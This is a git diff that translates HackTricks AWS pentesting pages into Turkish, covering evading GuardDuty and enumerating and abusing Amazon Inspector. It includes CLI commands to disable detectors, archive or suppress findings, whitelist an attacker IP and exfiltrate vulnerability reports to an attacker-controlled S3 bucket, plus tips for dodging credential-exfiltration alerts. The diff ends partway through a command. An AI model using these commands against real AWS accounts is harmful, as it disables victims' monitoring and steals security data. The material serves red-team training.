bir **hizmet tarafından kullanılan bir rol** ise, aynı bölgede aynı hizmeti oluşturun ve oradan aynı zaman dilimlerinde kullanın +- Bu prensibin kullandığı **aynı izinleri** kullanmaya her zaman çalışın +- Eğer **başka izinler kullanmanız veya bir izni kötüye kullanmanız** gerekiyorsa (örneğin, 1.000.000 cloudtrail günlük dosyası indirmek) bunu **yavaşça** ve AWS ile **minimum etkileşim** ile yapın (awscli bazen yazma işleminden önce birkaç okuma API'sini çağırır) -### Breaking GuardDuty +### GuardDuty'yi Kırma #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +Bu izinle, uyarıları tetiklememek için GuardDuty'yi devre dışı bırakabilirsiniz. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +Bu izne sahip saldırganlar, bulguların otomatik olarak **arşivlenmesi için filtreler kullanma** yeteneğine sahiptir: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +Önceki yetkilere sahip saldırganlar, GuardDuty'nin [**Güvenilir IP listesine**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) kendi IP adreslerini ekleyerek bunu değiştirebilir ve uyarı oluşturmaktan kaçınabilirler. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +Saldırganlar, uyarıların önlenmesi için hedefi kaldırabilir: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> Bu yayın hedefini silmek **GuardDuty konsolundaki bulguların oluşturulmasını veya görünürlüğünü etkilemeyecektir**. GuardDuty, AWS ortamınızdaki olayları analiz etmeye, şüpheli veya beklenmedik davranışları tanımlamaya ve bulgular oluşturmaya devam edecektir. -### Specific Findings Bypass Examples +### Özel Bulguların Atlatma Örnekleri -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +Dikkat edin ki, birçok GuardDuty bulgusu vardır, ancak **Red Teamer olarak bunların hepsi sizi etkilemeyecektir** ve daha da iyisi, **her birinin tam belgelerine sahipsiniz** [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) bu yüzden herhangi bir eylemde bulunmadan önce göz atın, yakalanmamak için. -Here you have a couple of examples of specific GuardDuty findings bypasses: +İşte birkaç özel GuardDuty bulgusu atlatma örneği: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDuty, yaygın penetrasyon test araçlarından gelen AWS API isteklerini tespit eder ve [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) tetikler.\ +Bu, API isteğinde iletilen **kullanıcı ajanı adı** ile tespit edilir.\ +Bu nedenle, **kullanıcı ajanını değiştirmek**, GuardDuty'nin saldırıyı tespit etmesini önlemek mümkündür. -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +Bunu önlemek için `botocore` paketindeki `session.py` dosyasını arayabilir ve kullanıcı ajanını değiştirebilir veya Burp Suite'i AWS CLI proxy'si olarak ayarlayıp kullanıcı ajanını MitM ile değiştirebilir ya da sadece Ubuntu, Mac veya Windows gibi bir işletim sistemi kullanarak bu uyarının tetiklenmesini önleyebilirsiniz. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +EC2 kimlik bilgilerini metadata hizmetinden çıkarmak ve **bunları AWS ortamının dışında kullanmak**, [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) uyarısını tetikler. Tersine, bu kimlik bilgilerini EC2 örneğinizden kullanmak, [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) uyarısını tetikler. Ancak, **kimlik bilgilerini aynı hesap içindeki başka bir tehlikeye atılmış EC2 örneğinde kullanmak tespit edilmez**, herhangi bir uyarı oluşturmaz. > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> Bu nedenle, **bulduğunuz makinenin içinden sızdırılan kimlik bilgilerini kullanın** bu uyarıyı tetiklememek için. ## References @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..33d7612d9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspector, AWS ortamınızın güvenliğini artırmak için tasarlanmış gelişmiş, otomatik bir zafiyet yönetim hizmetidir. Bu hizmet, Amazon EC2 örneklerini, Amazon ECR'deki konteyner görüntülerini, Amazon ECS'yi ve AWS Lambda işlevlerini sürekli olarak zafiyetler ve istenmeyen ağ maruziyeti için tarar. Güçlü bir zafiyet istihbarat veritabanından yararlanarak, Amazon Inspector, ciddiyet seviyeleri ve düzeltme önerileri dahil olmak üzere ayrıntılı bulgular sunar ve kuruluşların güvenlik risklerini proaktif bir şekilde tanımlayıp ele almasına yardımcı olur. Bu kapsamlı yaklaşım, çeşitli AWS hizmetleri arasında güçlendirilmiş bir güvenlik duruşu sağlar ve uyum ile risk yönetimine yardımcı olur. ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Amazon Inspector'daki bulgular, EC2 örneklerinin, ECR depolarının veya Lambda işlevlerinin taranması sırasında keşfedilen zafiyetler ve maruziyetler hakkında ayrıntılı raporlardır. Durumuna göre, bulgular şu şekilde kategorize edilir: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Active**: Bulgular düzeltilmemiştir. +- **Closed**: Bulgular düzeltilmiştir. +- **Suppressed**: Bulgular, bir veya daha fazla **suppression rules** nedeniyle bu durumla işaretlenmiştir. -Findings are also categorized into the next three types: +Bulgular ayrıca üç türde kategorize edilir: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Package**: Bu bulgular, kaynaklarınızda kurulu yazılım paketlerindeki zafiyetlerle ilgilidir. Örnekler arasında bilinen güvenlik sorunları olan eski kütüphaneler veya bağımlılıklar bulunur. +- **Code**: Bu kategori, AWS kaynaklarınızda çalışan uygulamaların kodunda bulunan zafiyetleri içerir. Yaygın sorunlar, güvenlik ihlallerine yol açabilecek kodlama hataları veya güvensiz uygulamalardır. +- **Network**: Ağ bulguları, saldırganlar tarafından istismar edilebilecek ağ yapılandırmalarındaki potansiyel maruziyetleri tanımlar. Bunlar arasında açık portlar, güvensiz ağ protokolleri ve yanlış yapılandırılmış güvenlik grupları bulunur. #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Amazon Inspector'daki filtreler ve bastırma kuralları, bulguları yönetmeye ve önceliklendirmeye yardımcı olur. Filtreler, bulguları ciddiyet veya kaynak türü gibi belirli kriterlere göre daraltmanıza olanak tanır. Bastırma kuralları, düşük risk olarak değerlendirilen, zaten hafifletilmiş veya başka önemli nedenlerle bastırılması gereken belirli bulguları bastırmanıza olanak tanır; bu, güvenlik raporlarınızı aşırı yüklenmekten korur ve daha kritik sorunlara odaklanmanızı sağlar. #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Amazon Inspector'daki Yazılım Malzeme Faturası (SBOM), bir yazılım paketinin içindeki tüm bileşenleri, kütüphaneler ve bağımlılıklar dahil olmak üzere ayrıntılı bir şekilde listeleyen dışa aktarılabilir bir envanter listesidir. SBOM'lar, yazılım tedarik zincirine şeffaflık sağlamaya yardımcı olur, daha iyi zafiyet yönetimi ve uyum sağlar. Açık kaynak ve üçüncü taraf yazılım bileşenleriyle ilişkili riskleri tanımlamak ve hafifletmek için kritik öneme sahiptir. ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspector, bulguları Amazon S3 Buckets, Amazon EventBridge ve AWS Security Hub'a dışa aktarma yeteneği sunar; bu, belirli bir tarih ve saatte tanımlanan zafiyetler ve maruziyetler hakkında ayrıntılı raporlar oluşturmanıza olanak tanır. Bu özellik, CSV ve JSON gibi çeşitli çıktı formatlarını destekler, bu da diğer araçlar ve sistemlerle entegrasyonu kolaylaştırır. Dışa aktarma işlevi, raporlara dahil edilen verilerin özelleştirilmesine olanak tanır; bu, bulguları ciddiyet, kaynak türü veya tarih aralığı gibi belirli kriterlere göre filtrelemenizi sağlar ve varsayılan olarak, mevcut AWS Bölgesi'ndeki tüm bulgularınızı Aktif durumuyla birlikte içerir. -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +Bulguları dışa aktarırken, verileri dışa aktarım sırasında şifrelemek için bir Anahtar Yönetim Hizmeti (KMS) anahtarı gereklidir. KMS anahtarları, dışa aktarılan bulguların yetkisiz erişime karşı korunmasını sağlar ve hassas zafiyet bilgileri için ekstra bir güvenlik katmanı sağlar. #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspector, zafiyetleri ve güvenlik sorunlarını tespit etmek için Amazon EC2 örnekleri için güçlü tarama yetenekleri sunar. Inspector, EC2 örneğinden çıkarılan meta verileri, paket zafiyetleri ve ağ erişilebilirlik sorunları üretmek için güvenlik tavsiyelerindeki kurallarla karşılaştırır. Bu taramalar, hesabınızın **tarama modu** ayarlarına bağlı olarak **ajan tabanlı** veya **ajansız** yöntemlerle gerçekleştirilebilir. -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Agent-Based**: Derinlemesine taramalar gerçekleştirmek için AWS Systems Manager (SSM) ajanını kullanır. Bu yöntem, örnekten doğrudan kapsamlı veri toplama ve analiz yapma olanağı sağlar. +- **Agentless**: Örnekte bir ajan kurulumunu gerektirmeyen hafif bir alternatif sunar, her EC2 örneğinin her bir hacminin EBS anlık görüntüsünü oluşturur, zafiyetleri arar ve ardından siler; mevcut AWS altyapısını tarama için kullanır. -The scan mode determines which method will be used to perform EC2 scans: +Tarama modu, EC2 taramalarını gerçekleştirmek için hangi yöntemin kullanılacağını belirler: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Agent-Based**: Derin inceleme için EC2 örneklerine SSM ajanının kurulmasını içerir. +- **Hybrid Scanning**: Kapsamı maksimize etmek ve performans etkisini minimize etmek için hem ajan tabanlı hem de ajansız yöntemleri birleştirir. SSM ajanının kurulu olduğu EC2 örneklerinde, Inspector ajan tabanlı bir tarama gerçekleştirecek ve SSM ajanının olmadığı yerlerde, gerçekleştirilen tarama ajansız olacaktır. -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +Bir diğer önemli özellik, EC2 Linux örnekleri için **derin inceleme**dir. Bu özellik, EC2 Linux örneklerinin yazılımı ve yapılandırması hakkında kapsamlı analiz sunar, işletim sistemi zafiyetleri, uygulama zafiyetleri ve yanlış yapılandırmalar dahil olmak üzere ayrıntılı zafiyet değerlendirmeleri sağlar ve kapsamlı bir güvenlik değerlendirmesi sunar. Bu, **özel yollar** ve tüm alt dizinlerinin incelenmesi yoluyla gerçekleştirilir. Varsayılan olarak, Amazon Inspector aşağıdakileri tarar, ancak her üye hesap 5'e kadar daha fazla özel yol tanımlayabilir ve her yetkilendirilmiş yönetici 10'a kadar tanımlayabilir: - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspector, paket zafiyetlerinin etkili bir şekilde tespit edilmesini ve yönetilmesini sağlamak için Amazon Elastic Container Registry (ECR) konteyner görüntüleri için güçlü tarama yetenekleri sunar. -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Basic Scanning**: Bu, konteyner görüntülerindeki bilinen işletim sistemi paketleri zafiyetlerini tanımlayan hızlı ve hafif bir taramadır; açık kaynak Clair projesinden standart bir kural seti kullanır. Bu tarama yapılandırmasıyla, depolarınız itme sırasında veya manuel taramalar gerçekleştirildiğinde taranır. +- **Enhanced Scanning**: Bu seçenek, itme taramasına ek olarak sürekli tarama özelliğini ekler. Gelişmiş tarama, her konteyner görüntüsünün katmanlarına daha derinlemesine dalarak, işletim sistemi paketlerindeki ve programlama dilleri paketlerindeki zafiyetleri daha yüksek doğrulukla tanımlar. Hem temel görüntüyü hem de ek katmanları analiz ederek potansiyel güvenlik sorunlarının kapsamlı bir görünümünü sağlar. #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspector, AWS Lambda işlevleri ve katmanları için kapsamlı tarama yetenekleri içerir ve sunucusuz uygulamaların güvenliğini ve bütünlüğünü sağlar. Inspector, Lambda işlevleri için iki tür tarama sunar: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Lambda standard scanning**: Bu varsayılan özellik, Lambda işlevinize ve katmanlarınıza eklenen yazılım zafiyetlerini tanımlar. Örneğin, işleviniz bilinen bir zafiyeti olan python-jwt kütüphanesinin bir sürümünü kullanıyorsa, bir bulgu oluşturur. +- **Lambda code scanning**: Özel uygulama kodunu güvenlik sorunları için analiz eder, enjeksiyon hataları, veri sızıntıları, zayıf kriptografi ve eksik şifreleme gibi zafiyetleri tespit eder. Tespit edilen zafiyetleri vurgulayan kod parçacıklarını yakalar, örneğin, sabit kodlanmış kimlik bilgileri. Bulgular, sorunları düzeltmek için ayrıntılı düzeltme önerileri ve kod parçacıkları içerir. #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspector, Amazon EC2 örnek işletim sistemlerini Center for Internet Security (CIS) tarafından önerilen en iyi uygulama önerilerine karşı değerlendirmek için CIS taramaları içerir. Bu taramalar, yapılandırmaların endüstri standartı güvenlik temel çizgilerine uyduğundan emin olur. -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuration**: CIS taramaları, sistem yapılandırmalarının belirli CIS Benchmark önerilerini karşılayıp karşılamadığını değerlendirir; her kontrol, bir CIS kontrol kimliği ve başlığı ile bağlantılıdır. +- **Execution**: Taramalar, örnek etiketlerine ve tanımlı takvimlere göre gerçekleştirilir veya planlanır. +- **Results**: Tarama sonrası sonuçlar, hangi kontrollerin geçtiğini, atlandığını veya başarısız olduğunu gösterir ve her örneğin güvenlik duruşu hakkında bilgi sağlar. ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,99 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - ### Post Exploitation > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> Bir saldırganın perspektifinden, bu hizmet saldırgana diğer örnekleri/konteynerleri tehlikeye atmasına yardımcı olabilecek zayıflıkları ve ağ maruziyetlerini bulmasına yardımcı olabilir. > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> Ancak, bir saldırgan bu hizmeti bozmakla da ilgilenebilir, böylece kurban zayıflıkları göremez (tüm veya belirli olanlar). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +Bir saldırgan, zayıflıkların veya yazılım malzeme listelerinin (SBOM) ayrıntılı raporlarını oluşturabilir ve bunları AWS ortamınızdan dışarı aktarabilir. Bu bilgi, belirli zayıflıkları, güncel olmayan yazılımları veya güvensiz bağımlılıkları tanımlamak için kullanılabilir ve hedefli saldırılara olanak tanır. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` - -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Bir Amazon S3 Bucket oluşturun** ve kurban Amazon Inspector'dan erişilebilir olması için ona bir politika ekleyin: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **Bir Amazon KMS anahtarı oluşturun** ve kurbanın Amazon Inspector'ı tarafından kullanılabilmesi için ona bir politika ekleyin: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. **Bulgular raporunu oluşturma** komutunu çalıştırarak dışarı aktarın: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **Potansiyel Etki**: Detaylı zafiyet ve yazılım raporlarının üretilmesi ve dışa aktarılması, belirli zafiyetler ve güvenlik zayıflıkları hakkında içgörüler elde edilmesi. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +Bir saldırgan, belirtilen bulgular raporunun veya SBOM raporunun üretilmesini iptal edebilir, bu da güvenlik ekiplerinin zafiyetler ve yazılım malzeme listeleri (SBOM'lar) hakkında zamanında bilgi almasını engelleyerek güvenlik sorunlarının tespitini ve düzeltmesini geciktirebilir. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **Potansiyel Etki**: Güvenlik izleme sisteminin kesintiye uğraması ve güvenlik sorunlarının zamanında tespit edilmesi ve giderilmesinin engellenmesi. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +Bu izinlere sahip bir saldırgan, hangi zafiyetlerin ve güvenlik sorunlarının raporlanacağını veya bastırılacağını belirleyen filtreleme kurallarını manipüle edebilir (eğer **action** SUPPRESS olarak ayarlandıysa, bir bastırma kuralı oluşturulacaktır). Bu, güvenlik yöneticilerinden kritik zafiyetleri gizleyerek, bu zayıflıkları tespit edilmeden istismar etmeyi kolaylaştırabilir. Önemli filtreleri değiştirerek veya kaldırarak, bir saldırgan ayrıca sistemi alakasız bulgularla doldurarak gürültü yaratabilir ve etkili güvenlik izleme ve yanıtı engelleyebilir. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +283,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **Potansiyel Etki**: Kritik zafiyetlerin gizlenmesi veya bastırılması ya da sistemi alakasız bulgularla doldurulması. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +Bir saldırgan, güvenlik yönetim yapısını önemli ölçüde bozabilir. -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- Delegated admin hesabını devre dışı bırakarak, saldırgan güvenlik ekibinin Amazon Inspector ayarlarına ve raporlarına erişimini ve yönetimini engelleyebilir. +- Yetkisiz bir admin hesabının etkinleştirilmesi, saldırgana güvenlik yapılandırmalarını kontrol etme imkanı tanır; bu, taramaları devre dışı bırakma veya kötü niyetli faaliyetleri gizlemek için ayarları değiştirme potansiyeline sahiptir. > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> Yetkisiz hesabın, delege yönetici olabilmesi için mağdur ile aynı Organizasyon içinde olması gerekmektedir. > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal 